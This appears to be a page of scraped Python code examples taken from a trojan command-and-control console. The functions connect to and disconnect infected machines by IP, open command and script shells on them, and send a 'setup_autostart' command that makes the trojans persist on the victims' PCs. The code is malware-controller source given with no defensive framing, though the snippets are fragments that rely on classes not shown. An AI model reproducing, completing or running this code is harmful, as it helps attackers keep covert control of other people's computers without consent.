def run(process, std="all", info=True):
    shell = process.shell
    disconnected_trojans = 0
    trojans_to_disconnect = []
    # only made for the convinience in the ide
    if isinstance(shell, TrojanShell):

        # disconnects all trojans of the currently used trojans within the trojan register in case they actually
        # are connected at the moment
        if std == "all":
            for trojanconnection in shell.trojanregister:
                trojans_to_disconnect.append(trojanconnection.ip)
        # disconnects the trojan with the given ip, after verifying, that it is connected
        elif isip(std):
            if std in shell.trojanregister.ip_dict.keys():
                trojans_to_disconnect.append(std)
            else:
                raise ProcessError("The Trojan with the ip '{0}' is not connected".format(std))
        # disconnects the trojan with the given name, after verifying, that it is connected
        else:
            if std in shell.trojanregister.name_dict.keys():
                trojans_to_disconnect.append(shell.trojanregister[std].ip)
            else:
                raise ProcessError("The Trojan with the name '{0}' is not connected".format(std))

        # actually disconnects all the trojans with the given ips within the lsit "trojans_to_disconnect"
        for ip in trojans_to_disconnect:
            shell.trojanregister.remove(ip)
            if info is True:
                shellprint(process, Message("process", "disconnected Trojan with the ip {0}".format(ip)))
            disconnected_trojans += 1
        shell.prompt = "\n TrojanControl> "
        return "{0} trojans finally disconnected".format(disconnected_trojans)
Example #2
0
def run(process):
    shell = process.shell
    if isinstance(shell, TrojanShell):
        # checking whether there is a trojan connected to the shell
        if len(shell.trojanregister) >= 1:
            shellprint(process, Message("process", "now entering command mode..."))
            commandshell = CommandShell(shell)
            commandshell.run()
            return "command shell  has been successfully terminated"
        else:
            raise ProcessError("there is no trojan connected to enter command mode for")
Example #3
0
def run(process):
    shell = process.shell
    if isinstance(shell, TrojanShell):
        # checking whether there is a trojan connected to the shell
        if len(shell.trojanregister) >= 1:
            shellprint(process, Message("process", "now entering script mode..."))
            # entering the sub shell of the script mode
            scriptshell = ScriptShell("scripts", shell)
            scriptshell.run()
            return "script shell has been successfully terminated"
        else:
            raise ProcessError("there is no trojan connected to enter script mode for")
def run(process):
    shell = process.shell
    if isinstance(shell, ScriptShell):
        # itering trough the connected trojans executing the script on each of them then waiting for their individual
        # comments and returns
        successfull_implementations = 0
        for trojanconnection in shell.trojanregister:
            trojanconnection.activate()
            time.sleep(0.1)
            trojanconnection.send("s:setup_autostart")
            message_type = trojanrecv(process, trojanconnection)
            if message_type == "error":
                shellprint(process, Message("error", "{0}: failed to implement autostart".format(trojanconnection.ip)))
            else:
                shellprint(process, Message("result", "{0}: successfully implemented autostart".format(trojanconnection.ip)))
                successfull_implementations += 1
            trojanconnection.deactivate()
        if successfull_implementations == 0:
            raise ProcessError("failed to implement any autostart protocols")
        elif successfull_implementations >= 1:
            return "implemented autostart behaviour on {0} remote pcs".format(successfull_implementations)
Example #5
0
def run(process, std="127.0.0.1", list=None, info=True):
    """
    pass
    :param process:
    :param std:
    :return:
    """
    shell = process.shell
    connected_trojans = 0
    # updating the list of available trojans
    process.shell.trojanlist.check_availability()

    if isinstance(shell, TrojanShell):
        if len(shell.trojanregister) == 0:
            if std == "all":
                for trojanconnection in shell.trojanlist.available:
                    shell.trojanregister.add(trojanconnection)

            elif isip(std):
                available = False
                for trojanconnection in shell.trojanlist.available:
                    if trojanconnection.ip == std:
                        shell.trojanregister.add(trojanconnection)
                        process.shell.prompt = "\n {0}> ".format(trojanconnection.ip)
                        available = True
                if available is False:
                    shell.trojanregister.add(TrojanConnection(std, shell.port))

    for trojanconnection in process.shell.trojanregister:
        try:
            trojanconnection.start()
            time.sleep(0.5)
            if trojanconnection.ping() is True:
                shellprint(process, Message("process", "Connected to the Trojan with the ip '{0}'".format(trojanconnection.ip)))
                trojanconnection.deactivate()
                connected_trojans += 1
            else:
                shellprint(process, Message("error", "Couldn't connect to the trojan with the ip '{0}'".format(trojanconnection.ip)))
        except Exception:
            shellprint(process, Message("error", "Couldn't connect to the trojan with the ip '{0}'".format(trojanconnection.ip)))
    # returning the message, that the command has terminated and the amount of connected trojans
    return "Finished connecting to the requested trojans and finally connected {0} trojan(s)".format(connected_trojans)